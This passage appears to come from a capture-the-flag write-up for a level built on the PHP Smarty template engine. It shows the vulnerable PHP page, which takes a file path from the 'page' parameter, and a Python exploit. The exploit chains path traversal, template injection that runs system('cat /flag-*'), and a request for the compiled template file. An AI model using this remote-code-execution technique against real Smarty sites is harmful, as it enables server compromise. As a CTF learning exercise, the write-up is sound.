final_payload = f"{payload_func}{payload_args};"
print(final_payload)

level 27

1
2
3
4
5
6
7
8
9
10
require 'vendor/autoload.php';
use Smarty\Smarty;
$smarty = new Smarty();

if (isset($_GET['page']) && gettype($_GET['page']) === 'string') {
$file_path = "file://" . getcwd() . "/pages/" . $_GET['page'];
$smarty->display($file_path);
} else {
header('Location: /?page=home');
};

不会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashlib
import requests
from urllib.parse import quote

URL = ""
cwd = '/app'

target_file = '../{Closure::fromCallable(system)->__invoke("cat /flag-*")}/../../pages/about'
w1 = requests.get(URL + "?page=" + quote(target_file))
print(w1.status_code)
print(w1.text)

filehash = hashlib.sha1(f"//{cwd}/pages/{target_file}{cwd}/templates/".encode())
template_c_file = filehash.hexdigest() + "_0.file_" + target_file.split("/")[-1] + ".php"
template_c_file_path = "../templates_c/" + template_c_file

w2 = requests.get(URL + "?page=" + template_c_file_path)
print(w2.status_code)
print(w2.text)

Contents